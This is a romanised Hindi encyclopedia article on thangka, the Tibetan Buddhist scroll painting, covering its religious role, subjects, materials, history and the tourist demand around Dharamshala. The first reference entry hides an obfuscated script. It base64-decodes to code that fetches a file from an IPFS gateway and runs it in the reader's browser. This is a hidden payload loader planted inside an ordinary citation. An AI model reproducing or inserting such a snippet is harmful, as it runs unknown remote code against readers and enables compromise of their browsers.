थंग-का
thang-ka
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| vivaran | 'thang-ka' tibbat ki ek prakar ki prasiddh chitrakala hai. is chitrakala mean tibbat ke prachin granthoan mean likhe niyamoan ke anusar chitroan ko banaya jata hai. |
| any nam | 'thaanka' |
| sambandhit dharm | tibbati bauddh dharm |
| prachalan samay | lagabhag 10vian sadi |
| mahattv | 'mahayan' aur 'bajrayan' bauddh dharm mai thaanka ka bahut b da sthan hai. is chitrakala ke bina koee bhi 'gumba' ya any dharmik sthal adhoora hota hai. |
| sanbandhit lekh | tibbati bauddh dharm, tibbat ka pathar |
| any janakari | amataur par thaanka ayatakar hote haian, halaanki pahale ye chaukor hote the. ek saanche par malamal ya linan ke pak de ko kasakar us par pani mean bujhe choone aur janavar se prapt goand ka mishran lagakar taiyar kiya jata hai. |
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thang-ka ek prakar ki tibbati chitrakala hai. samanyat: sooti kap de par tibbati dharmik chitr ya rekhachitr ko thang-ka kahate haian. isake nichale kinare par baans ki chh di chipaki hoti hai, jisake sahare ise lapeta jata hai. thang-ka ek tibbati shabd hai, jisaka arth hai- "lapeti huee koee vastu". ise 'thaanka' bhi kaha jata hai. 'mahayan' aur 'bajrayan' bauddh dharm mai thaanka ka bahut b da sthan hai. is chitrakala ke bina koee bhi 'gumba' ya any dharmik sthal adhoora hota hai.
mahattv
'thaanka' mool roop se dhyan ka sadhan hai, halaanki ise mandiroan ya parivarik vedikaoan par latakaya aur dharmik shobha yatra mean le jaya ja sakata hai ya pravachanoan ki vyakhya ke lie prayukt kiya ja sakata hai. thaanka banana svachchhand kala nahian hai, balki ye dharmashastriy niyamoan ke anusar chitrit kie jate haian. inaki vishay-vastu tibbati dharm ko samajhane mean bahut sahayak hai.[1]
chitran
thaankoan mean samanyat: bauddh devataoan evan lamaoan se ghire buddh aur unake jivan ke drishyoan; brahmaandiy vriksh ki shakhaoan par ekatrit devatagan; jivan chakr (sanskrit bhav-chakr), punarjanm ke vibhinn jagatoan ke pradarshan sahit; ve manas-chitr, jinaka ghatit hona mrityu evan punarjanm ke bich ki sthiti (bar-do) ke dauran mana jata hai; brahmaand ke pratikatmak chitran, mandal; janmapatriyaan aur dalaee evan panchen lamaoan, sant tatha mahaguru, jaise 84 mahasiddhoan ka chitran hota hai.
amataur par thaanka ayatakar hote haian, halaanki pahale ye chaukor hote the. ek saanche par malamal ya linan ke pak de ko kasakar us par pani mean bujhe choone aur janavar se prapt goand ka mishran lagakar taiyar kiya jata hai. tab us moti aur sookhi parat ko sipi se rag dakar chikana evan chamakila banaya jata hai. chitroan ki rooparekha lak di ke koyale se khianchi jati hai[2] aur tab rangoan, samanyat: khanij choona evan lase ka mishran, se bhara jata hai. pramukh prayukt rang hai safed, lal, saankhiya pila, kasis hara, kiramiji siandoori, lajavard nila aur nil. sunahara rang prishthabhoomi aur abhooshanoan mean lagaya jata hai. chitr ko naqqashidar reshami kinaroan mean madha jata hai. kabhi-kabhi patala reshami parda bhi laga hota hai. nichale naqqashidar kinare par resham ka ek tukada avashy tanka hota hai, jise 'thaanka dvar' kaha jata hai tatha jo adi rachayitaoan ya sanpoorn rachana ke strot ka pratinidhitv karata hai. samanyat: lamaoan ki nigarani mean am adami chitr banate haian, lekin lama dvara pratishthit n kie jane tak inaka koee dharmik mahattv nahian hota hai.[1]
vikas
thaanka bharatiy vastr chitrakari (patt), pratyek anushthan ke lie mool roop mean bhoomi par banae mandaloan tatha katha vachakoan dvara prayukt pat-chitroan se vikasit hua hai. isaki chitrakala ne madhy eshiyaee, nepali evan kashmiri shailiyoan tatha bhoo-drishyoan ke lie chini shaili se prerana li hai. thaanka par hastakshar nahian kie jate tatha ye yada-kada hi kalaankit kie ge haian, lekin itana avashy hai ki ye lagabhag 10vian sadi mean prachalan mean ae. vishay-vastu, bhangimaoan aur pratikoan mean paranpara ke prati nishtha ke karan satik kalanukram taiyar karana kathin hai.
badhati maang
thumb|250px|tibbati thaanka chitrakala dharmashala ke sath lagate gaanv siddhaba di noravalianga tibbatiyan sangrahalay mean prachin tibbat ki dharmik kala ko chitrakari ke madhyam se jivit rakha ja raha hai. yahaan par banaee jane vali thaanka chitrakala videshi paryatakoan ko khoob pasand a rahi haian. tibbat ke prachin granthoan mean likhe niyamoan ke anusar in peantiangs ko banaya jata hai. yah peantiangs 20 se 30 hazar rupe mean bechi jati haian. chitrakala se ju de aur siddhaba di mean rahane vale teanjin, chheriang, sonam aur dolama ne bataya ki ek achchhi peantiang ko banane mean ek se do saptah ka samay lagata hai. in peantiangs ki maang tibbat aur yooropiyan deshoan mean adhik hai, jisaki vajah se vah is kala ke prati aur samarpit hokar kary kar rahe haian. is chitrakala se ju de log ise rojagar ke roop mean apanakar apani arthik sthiti ko sudhar rahe haian. dharmashala ke sath siddhaba di noravalianga mean tibbatiyan sangrahalay mean bhi tibbati dharm se ju di in peantiangs ko rakha gaya hai. tibbati peantiangs ke prachar-prasar mean bhi yah sangrahalay apani khas bhoomika nibha raha hai. peantiang kala ko sikhane ke lie bachchoan ke lie skool bhi chalaya ja raha hai, jahaan bachchoan ko kala ki barikiyaan sikhaee jati haian.[3]
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tika tippani aur sandarbh
- ↑ 1.0 1.1 bharat jnanakosh, khand-2 |lekhak: iandoo ramachandani |prakashak: ensaiklopidiya britenika praivet limited, nee dilli |sankalan: bharatakosh pustakalay |prishth sankhya: 401 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ ajakal unhean aksar mudrit kiya jata hai.
- ↑ videshoan mean badh rahi thaanka petiangs ki maang (hindi) dainik nyay setu. abhigaman tithi: 26 disambar, 2014.
bahari k diyaan
sanbandhit lekh
varnamala kramanusar lekh khoj
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